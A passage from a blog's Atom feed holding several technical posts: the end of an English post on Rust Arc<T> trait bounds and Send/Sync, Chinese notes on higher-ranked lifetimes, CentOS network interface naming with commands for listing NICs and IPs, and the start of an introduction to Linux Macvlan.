&lt;h2 id=&quot;thoughts-on-trait-bounds-and-flexibility-for-users&quot;&gt;Thoughts on trait bounds and flexibility for users&lt;&#x2F;h2&gt;
&lt;p&gt;Why does &lt;code&gt;Arc&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; not have a &lt;code&gt;where T: Send + Sync&lt;&#x2F;code&gt; trait bound, but instead allows you to construct &lt;code&gt;Arc&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; for any &lt;code&gt;T&lt;&#x2F;code&gt; (but just not send&#x2F;share it across threads)?&lt;&#x2F;p&gt;
&lt;p&gt;I&#x27;ve heard that you should avoid putting trait bounds in types, but (if I remember correctly) instead in method implementations, or (in the case of &lt;code&gt;Arc&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;) in conditional &lt;code&gt;Send&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;Sync&lt;&#x2F;code&gt; implementations. One person said:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The reason the restrictions are usually on the implementations rather than on the type in general is that you don&#x27;t usually know every possible implementation If you later realize you can add other functionality, you can just add additional impl blocks with different restrictions, whereas if they were on the type you would potentially have to worry about unifying the restrictions (which can be really awkward) or removing them altogether&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;When asking about this topic, I was pointed to the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rust-lang.github.io&#x2F;api-guidelines&#x2F;about.html&quot;&gt;Rust API guidelines&lt;&#x2F;a&gt;, but I couldn&#x27;t find any discussion of this issue.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;I personally encountered this topic when I used an &lt;code&gt;Arc&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; internally for &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;nyanpasu64&#x2F;spectro2&#x2F;blob&#x2F;master&#x2F;flip-cell&#x2F;src&#x2F;lib.rs&quot;&gt;the &lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;nyanpasu64&#x2F;spectro2&#x2F;blob&#x2F;master&#x2F;flip-cell&#x2F;src&#x2F;lib.rs&quot;&gt;&lt;code&gt;flip-cell&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;nyanpasu64&#x2F;spectro2&#x2F;blob&#x2F;master&#x2F;flip-cell&#x2F;src&#x2F;lib.rs&quot;&gt; crate&lt;&#x2F;a&gt; (which turns out to be equivalent to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Ralith&#x2F;oddio&#x2F;blob&#x2F;main&#x2F;src&#x2F;swap.rs&quot;&gt;Oddio&#x27;s &lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Ralith&#x2F;oddio&#x2F;blob&#x2F;main&#x2F;src&#x2F;swap.rs&quot;&gt;&lt;code&gt;Swap&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Ralith&#x2F;oddio&#x2F;blob&#x2F;main&#x2F;src&#x2F;swap.rs&quot;&gt; type&lt;&#x2F;a&gt; and the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;HadrienG2&#x2F;triple-buffer&quot;&gt;&lt;code&gt;triple-buffer&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;HadrienG2&#x2F;triple-buffer&quot;&gt; crate&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;Arc&amp;lt;T&amp;gt;: Sync&lt;&#x2F;code&gt; is only safe if &lt;code&gt;T: Send&lt;&#x2F;code&gt;, not just &lt;code&gt;T: Sync&lt;&#x2F;code&gt;; this is because another thread can look at an &lt;code&gt;&amp;amp;Arc&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;, clone it, and obtain an &lt;code&gt;Arc&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; sharing ownership over the same object. But if we create a type &lt;code&gt;FlipReader&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;nyanpasu64&#x2F;spectro2&#x2F;blob&#x2F;05561a21d85fc5fc0e8e92140edf01d6b64401bc&#x2F;flip-cell&#x2F;src&#x2F;lib.rs#L188-L201&quot;&gt;source&lt;&#x2F;a&gt;) which contains an &lt;code&gt;Arc&amp;lt;Wrapper&amp;lt;T&amp;gt;&amp;gt;&lt;&#x2F;code&gt; but prohibits cloning it, then making &lt;code&gt;FlipReader&amp;lt;T&amp;gt;: Sync&lt;&#x2F;code&gt; does not allow another thread to take shared ownership of &lt;code&gt;Wrapper&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;, so the &lt;code&gt;Wrapper&amp;lt;T&amp;gt;: Send&lt;&#x2F;code&gt; trait bound is unnecessary.&lt;&#x2F;p&gt;
&lt;p&gt;Had the struct &lt;code&gt;Arc&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; required &lt;code&gt;T: Send + Sync&lt;&#x2F;code&gt; to even be constructed, &lt;code&gt;Arc&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; would be crippled as a building block for unsafe code.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;example-passing-mut-t-send-between-threads&quot;&gt;Example: Passing &lt;code&gt;&amp;amp;mut (T: Send)&lt;&#x2F;code&gt; between threads&lt;&#x2F;h2&gt;
&lt;p&gt;Cell is &lt;code&gt;Send&lt;&#x2F;code&gt; but not &lt;code&gt;Sync&lt;&#x2F;code&gt;. Both &lt;code&gt;Cell&amp;lt;RefCount&amp;gt;&lt;&#x2F;code&gt; and &lt;code&gt;&amp;amp;mut Cell&lt;&#x2F;code&gt; can be passed between threads. The following code builds as-is, but not if &lt;code&gt;&amp;amp;mut&lt;&#x2F;code&gt; is changed to &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use std::thread;
use std::cell::Cell;

fn main() {
    &amp;#x2F;&amp;#x2F; Send + !Sync
    let cell_ref: &amp;amp;mut Cell&amp;lt;i32&amp;gt; = Box::leak(Box::new(Cell::new(0)));

    thread::spawn(move || {
        cell_ref.replace(1);
    });
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;example-t-send-or-sync-both-depend-on-t-sync&quot;&gt;Example: &lt;code&gt;&amp;amp;T: Send or Sync&lt;&#x2F;code&gt; both depend on &lt;code&gt;T: Sync&lt;&#x2F;code&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;If &lt;code&gt;T: !Sync&lt;&#x2F;code&gt; (for example &lt;code&gt;Cell&amp;lt;RefCount&amp;gt;&lt;&#x2F;code&gt;), then &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; is neither &lt;code&gt;Send&lt;&#x2F;code&gt; nor &lt;code&gt;Sync&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use std::cell::Cell;

fn ensure_sync&amp;lt;T: Sync&amp;gt;(_: T) {}
fn ensure_send&amp;lt;T: Send&amp;gt;(_: T) {}

fn main() {
    let foo = Cell::new(1i32);
    ensure_sync(&amp;amp;foo);
    ensure_send(&amp;amp;foo);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Trying to compile this code returns the errors:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Standard Error

   Compiling playground v0.0.1 (&amp;#x2F;playground)
error[E0277]: `Cell&amp;lt;i32&amp;gt;` cannot be shared between threads safely
 --&amp;gt; src&amp;#x2F;main.rs:8:17
  |
3 | fn ensure_sync&amp;lt;T: Sync&amp;gt;(_: T) {}
  |                   ---- required by this bound in `ensure_sync`
...
8 |     ensure_sync(&amp;amp;foo);
  |                 ^^^^ `Cell&amp;lt;i32&amp;gt;` cannot be shared between threads safely
  |
  = help: within `&amp;amp;Cell&amp;lt;i32&amp;gt;`, the trait `Sync` is not implemented for `Cell&amp;lt;i32&amp;gt;`
  = note: required because it appears within the type `&amp;amp;Cell&amp;lt;i32&amp;gt;`

error[E0277]: `Cell&amp;lt;i32&amp;gt;` cannot be shared between threads safely
 --&amp;gt; src&amp;#x2F;main.rs:9:17
  |
4 | fn ensure_send&amp;lt;T: Send&amp;gt;(_: T) {}
  |                   ---- required by this bound in `ensure_send`
...
9 |     ensure_send(&amp;amp;foo);
  |                 ^^^^ `Cell&amp;lt;i32&amp;gt;` cannot be shared between threads safely
  |
  = help: the trait `Sync` is not implemented for `Cell&amp;lt;i32&amp;gt;`
  = note: required because of the requirements on the impl of `Send` for `&amp;amp;Cell&amp;lt;i32&amp;gt;`
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If &lt;code&gt;T: !Send + Sync&lt;&#x2F;code&gt; (for example &lt;code&gt;MutexGuard&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;), then &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; is still &lt;code&gt;Send + Sync&lt;&#x2F;code&gt;. (This makes sense, because &lt;code&gt;T: !Send&lt;&#x2F;code&gt; only constrains the behavior of a &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;, and should not affect the properties of a &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;.)&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use std::marker::PhantomData;
use std::sync::MutexGuard;

fn ensure_sync&amp;lt;T: Sync&amp;gt;(_: T) {}
fn ensure_send&amp;lt;T: Send&amp;gt;(_: T) {}

fn main() {
    let foo = PhantomData::&amp;lt;MutexGuard&amp;lt;i32&amp;gt;&amp;gt; {};
    ensure_sync(&amp;amp;foo);
    ensure_send(&amp;amp;foo);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;em&gt;This blog post was edited on 2021-02-09 to fix minor errors and clarify&lt;&#x2F;em&gt; &lt;em&gt;&lt;code&gt;Rc&lt;&#x2F;code&gt;&lt;&#x2F;em&gt;  &lt;em&gt;.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>rust 高阶生命周期</title>
        <published>2024-07-04T00:00:00+00:00</published>
        <updated>2024-07-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/rust-高阶生命周期/"/>
        <id>https://vercel.juzhong.asia/obsidian/rust-高阶生命周期/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/rust-高阶生命周期/">&lt;h1 id=&quot;gao-jie-sheng-ming-zhou-qi&quot;&gt;高阶生命周期&lt;&#x2F;h1&gt;
&lt;p&gt;高阶生命周期也可以贴近 trait 来指定，唯一的区别是生命周期参数的作用域，像下面这样 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 的作用域只扩展到后面跟的 trait 的末尾，而不是整个约束&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustwiki.org&#x2F;zh-CN&#x2F;reference&#x2F;trait-bounds.html#%E8%AF%91%E6%B3%A84&quot;&gt;3&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;。下面这个函数和上一个等价。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fn call_on_ref_zero&amp;lt;F&amp;gt;(f: F) where F: for&amp;lt;&amp;#x27;a&amp;gt; Fn(&amp;amp;&amp;#x27;a i32) {
    let zero = 0;
    f(&amp;amp;zero);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;sup&gt;1&lt;&#x2F;sup&gt; 译者理解：理解这种关系时，可以把生命周期 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 和 &lt;code&gt;&#x27;b&lt;&#x2F;code&gt; 理解成去引用对象时需传入的参数，给定 &lt;code&gt;&#x27;a: &#x27;b&lt;&#x2F;code&gt; 和类型 &lt;code&gt;T&lt;&#x2F;code&gt;，如果 &lt;code&gt;&#x27;b T&lt;&#x2F;code&gt;有效，那此时再传入 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 就去引用 &lt;code&gt;T&lt;&#x2F;code&gt; 必定有效。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;sup&gt;4&lt;&#x2F;sup&gt; 译者理解：高阶 trait约束就是对带生命周期的类型重新进行约束。像这句中的例子就是对 &lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt; 加上了 &lt;code&gt;PartialEq&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt; 的约束，其中 &lt;code&gt;for&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt; 可以理解为：对于 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 的所有可能选择。更多信息请参见：https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;cmp&#x2F;trait.PartialEq.html 和 https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;nightly&#x2F;nomicon&#x2F;hrtb.html&lt;&#x2F;p&gt;
&lt;p&gt;&lt;sup&gt;2&lt;&#x2F;sup&gt; 译者理解此例中的代码 &lt;code&gt;for&amp;lt;&#x27;a&amp;gt; F: Fn(&amp;amp;&#x27;a i32)&lt;&#x2F;code&gt; 为：&lt;code&gt;F&lt;&#x2F;code&gt; 对于 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 的所有可能选择都受 &lt;code&gt;Fn(&amp;amp;&#x27;a i32)&lt;&#x2F;code&gt; 的约束。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;sup&gt;3&lt;&#x2F;sup&gt; 译者理解这句的意思是：如果 &lt;code&gt;F&lt;&#x2F;code&gt; 的约束有多个 trait，那这种方式里， &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 的作用域只是扩展它后面紧跟的那个 trait 的方法，即 &lt;code&gt;Fn(&amp;amp;&#x27;a i32)&lt;&#x2F;code&gt; 里。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Centos 网卡命名规范及信息查看（物理网卡，虚拟网卡）</title>
        <published>2024-07-03T00:00:00+00:00</published>
        <updated>2024-07-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/centos-网卡命名规范及信息查看-物理网卡-虚拟网卡/"/>
        <id>https://vercel.juzhong.asia/obsidian/centos-网卡命名规范及信息查看-物理网卡-虚拟网卡/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/centos-网卡命名规范及信息查看-物理网卡-虚拟网卡/">&lt;h1 id=&quot;centos-wang-qia-ming-ming-gui-fan-ji-xin-xi-cha-kan-wu-li-wang-qia-xu-ni-wang-qia&quot;&gt;Centos 网卡命名规范及信息查看（物理网卡，虚拟网卡）&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;之前写的脚本中获取 IP 地址时，未考虑虚拟网卡的情况（&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;product&#x2F;tke?from_column=20065&amp;amp;from=20065&quot;&gt;docker&lt;&#x2F;a&gt; 创建的虚拟网卡），导致脚本失败，故总结下网卡相关知识。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-zhi-wang-luo-she-bei-ming-ming-gui-fan&quot;&gt;&lt;strong&gt;一致网络设备命名规范&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Centos 6及之前的版本网卡命名格式：&lt;code&gt;eth[0123…]&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;Centos 7为了方便定位和区分网络设备，采用&lt;code&gt;一致网络设备命名（CONSISTENT NETWORK DEVICE NAMING）&lt;&#x2F;code&gt;规范，支持 &lt;code&gt;biosdevname&lt;&#x2F;code&gt; 和 &lt;code&gt;net.ifnames&lt;&#x2F;code&gt; 两种命名规范。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;biosdevname&quot;&gt;&lt;strong&gt;biosdevname&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;biosdevname 命名规范&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;设备&lt;&#x2F;th&gt;&lt;th&gt;旧名称&lt;&#x2F;th&gt;&lt;th&gt;新名称&lt;&#x2F;th&gt;&lt;th&gt;示例&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;内嵌网络接口（LOM）&lt;&#x2F;td&gt;&lt;td&gt;eth[0123…]&lt;&#x2F;td&gt;&lt;td&gt;em[1234…][a]&lt;&#x2F;td&gt;&lt;td&gt;em1&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;PCI 卡网络接口&lt;&#x2F;td&gt;&lt;td&gt;eth[0123…]&lt;&#x2F;td&gt;&lt;td&gt;pp[b]&lt;&#x2F;td&gt;&lt;td&gt;p3p4&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;虚拟功能&lt;&#x2F;td&gt;&lt;td&gt;eth[0123…]&lt;&#x2F;td&gt;&lt;td&gt;pp_[c]&lt;&#x2F;td&gt;&lt;td&gt;p3p4_1&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;注: 新枚举从 1 开始。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;net-ifnames&quot;&gt;&lt;strong&gt;net.ifnames&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;net.ifnames 命名规范为：设备类型 + 设备位置 + 数字&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;设备类型&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;en&lt;&#x2F;code&gt; 代表以太网&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;wl&lt;&#x2F;code&gt; 代表无线局域网（WLAN）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ww&lt;&#x2F;code&gt; 代表无线广域网（WWAN）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;设备命名&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;格式&lt;&#x2F;th&gt;&lt;th&gt;描述&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;o&amp;lt;index&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;板载设备索引号&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;s&amp;lt;slot&amp;gt;[f&amp;lt;function&amp;gt;][d&amp;lt;dev_id&amp;gt;]&lt;&#x2F;td&gt;&lt;td&gt;热插拔插槽索引号&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;x&amp;lt;MAC&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;MAC 地址&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;p&amp;lt;bus&amp;gt;s&amp;lt;slot&amp;gt;[f&amp;lt;function&amp;gt;][d&amp;lt;dev_id&amp;gt;]&lt;&#x2F;td&gt;&lt;td&gt;PCI 地理位置&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;p&amp;lt;bus&amp;gt;s&amp;lt;slot&amp;gt;[f&amp;lt;function&amp;gt;][u&amp;lt;port&amp;gt;][..][c&amp;lt;config&amp;gt;][i&amp;lt;interface&amp;gt;]&lt;&#x2F;td&gt;&lt;td&gt;USB 端口链&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;eno1&lt;&#x2F;code&gt; 板载1号网卡&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;enp0s2&lt;&#x2F;code&gt; PCI扩展卡的2号端口&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ens33&lt;&#x2F;code&gt; 热插拔插槽3号PCI-E插槽的3号端口&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;wlp3s0&lt;&#x2F;code&gt; 第3号PCI扩展卡的0号端口&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;xi-tong-mo-ren-ming-ming-gui-ze&quot;&gt;&lt;strong&gt;系统默认命名规则&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;默认情况下，&lt;code&gt;systemd&lt;&#x2F;code&gt; 会使用以下策略，采用支持的命名方案为接口命名：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;方案 1：&lt;&#x2F;strong&gt; 如果固件或 BIOS 信息适用且可用，则使用整合了为板载设备提供索引号的固件或 BIOS 的名称（例如：&lt;code&gt;eno1&lt;&#x2F;code&gt;），否则请使用方案 2。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;方案 2：&lt;&#x2F;strong&gt; 如果固件或 BIOS 信息适用且可用，则使用整合了为 PCI 快速热插拔插槽提供索引号的固件或 BIOS 名称（例如 &lt;code&gt;ens1&lt;&#x2F;code&gt;），否则请使用方案 3。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;方案 3：&lt;&#x2F;strong&gt; 如果硬件连接器物理位置信息可用，则使用整合了该信息的名称（例如：enp2s0），否则请使用方案 5。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;方案 4：&lt;&#x2F;strong&gt; 默认不使用整合接口 MAC 地址的名称（例如：&lt;code&gt;enx78e7d1ea46da&lt;&#x2F;code&gt;），但用户可选择使用此方案。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;方案 5：&lt;&#x2F;strong&gt; 传统的不可预测的内核命名方案，在其他方法均失败后使用（例如：&lt;code&gt;eth0&lt;&#x2F;code&gt;）。这个策略（如上所述）是默认策略。如果该系统已启用 biosdevname，则会使用该方案。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;注：启用 biosdevname 需要添加 &lt;code&gt;biosdevname=1&lt;&#x2F;code&gt; 作为命令行参数（Dell 系统除外），此时只要安装 biosdevname，就会默认使用该方案。如果用户已添加 udev 规则，该规则会更改内核设备名称，则会优先使用这些规则。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cha-kan-wang-qia-huo-qu-ip&quot;&gt;&lt;strong&gt;查看网卡、获取 IP&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;# 全部网卡
$ ls &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;net&amp;#x2F;
或
$ ifconfig -a
或
$ ip a

# 虚拟网卡
$  ls &amp;#x2F;sys&amp;#x2F;devices&amp;#x2F;virtual&amp;#x2F;net&amp;#x2F;

# 物理网卡
$ ls &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;net&amp;#x2F; | grep -v &amp;quot;$(ls &amp;#x2F;sys&amp;#x2F;devices&amp;#x2F;virtual&amp;#x2F;net&amp;#x2F;)&amp;quot;

# 获取本机所有 IP
$ ifconfig -a |grep inet|grep -v 127.0.0.1|grep -v inet6|awk &amp;#x27;{print $2}&amp;#x27;|tr -d &amp;quot;addr:&amp;quot;

# 获取物理网卡的 IP
$ ifconfig $(ls &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;net&amp;#x2F; | grep -v &amp;quot;$(ls &amp;#x2F;sys&amp;#x2F;devices&amp;#x2F;virtual&amp;#x2F;net&amp;#x2F;)&amp;quot;) |grep inet|grep -v 127.0.0.1|grep -v inet6|awk &amp;#x27;{print $2}&amp;#x27;|tr -d &amp;quot;addr:&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux 虚拟网卡技术：Macvlan</title>
        <published>2024-07-03T00:00:00+00:00</published>
        <updated>2024-07-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux-虚拟网卡技术-macvlan-2/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux-虚拟网卡技术-macvlan-2/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux-虚拟网卡技术-macvlan-2/">&lt;h1 id=&quot;linux-xu-ni-wang-qia-ji-shu-macvlan&quot;&gt;Linux 虚拟网卡技术：Macvlan&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;macvlan-jian-jie&quot;&gt;Macvlan 简介&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;icloudnative.io&#x2F;posts&#x2F;netwnetwork-virtualization-macvlan&#x2F;#macvlan-%E7%AE%80%E4%BB%8B&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;在 Macvlan 出现之前，我们只能为一块以太网卡添加多个 IP 地址，却不能添加多个 MAC 地址，因为 MAC 地址正是通过其全球唯一性来标识一块以太网卡的，即便你使用了创建 &lt;code&gt;ethx:y&lt;&#x2F;code&gt; 这样的方式，你会发现所有这些“网卡”的 MAC 地址和 ethx 都是一样的，本质上，它们还是一块网卡，这将限制你做很多二层的操作。有了 &lt;code&gt;Macvlan&lt;&#x2F;code&gt; 技术，你可以这么做了。&lt;&#x2F;p&gt;
&lt;p&gt;Macvlan 允许你在主机的一个网络接口上配置多个虚拟的网络接口，这些网络 &lt;code&gt;interface&lt;&#x2F;code&gt; 有自己独立的 MAC 地址，也可以配置上 IP 地址进行通信。Macvlan 下的虚拟机或者容器网络和主机在同一个网段中，共享同一个广播域。Macvlan 和 &lt;code&gt;Bridge&lt;&#x2F;code&gt; 比较相似，但因为它省去了 Bridge 的存在，所以配置和调试起来比较简单，而且效率也相对高。除此之外，Macvlan 自身也完美支持 &lt;code&gt;VLAN&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;同一 VLAN 间数据传输是通过二层互访，即 MAC 地址实现的，不需要使用路由。不同 VLAN 的用户单播默认不能直接通信，如果想要通信，还需要三层设备做路由，Macvlan 也是如此。用 Macvlan 技术虚拟出来的虚拟网卡，在逻辑上和物理网卡是对等的。物理网卡也就相当于一个&lt;strong&gt;交换机&lt;&#x2F;strong&gt;，记录着对应的虚拟网卡和 MAC 地址，当物理网卡收到数据包后，会根据目的 MAC 地址判断这个包属于哪一个虚拟网卡。**这也就意味着，只要是从 Macvlan 子接口发来的数据包（或者是发往 Macvlan 子接口的数据包），物理网卡只接收数据包，不处理数据包，所以这就引出了一个问题：本机 Macvlan 网卡上面的 IP 无法和物理网卡上面的 IP 通信！**关于这个问题的解决方案我们下一节再讨论。&lt;&#x2F;p&gt;
&lt;p&gt;我们先来看一下 Macvlan 技术的流程示意图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-macvlan-2&#x2F;macvlan-packet-flow.jpg&quot; alt=&quot;图片描述: 2023-11-26-23-13-0aXNFF.jpg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;简单来说，Macvlan 虚拟网卡设备是寄生在物理网卡设备上的。发包时调用自己的发包函数，查找到寄生的物理设备，然后通过物理设备发包。收包时，通过注册寄生的物理设备的 &lt;code&gt;rx_handler&lt;&#x2F;code&gt; 回调函数，处理数据包。&lt;&#x2F;p&gt;
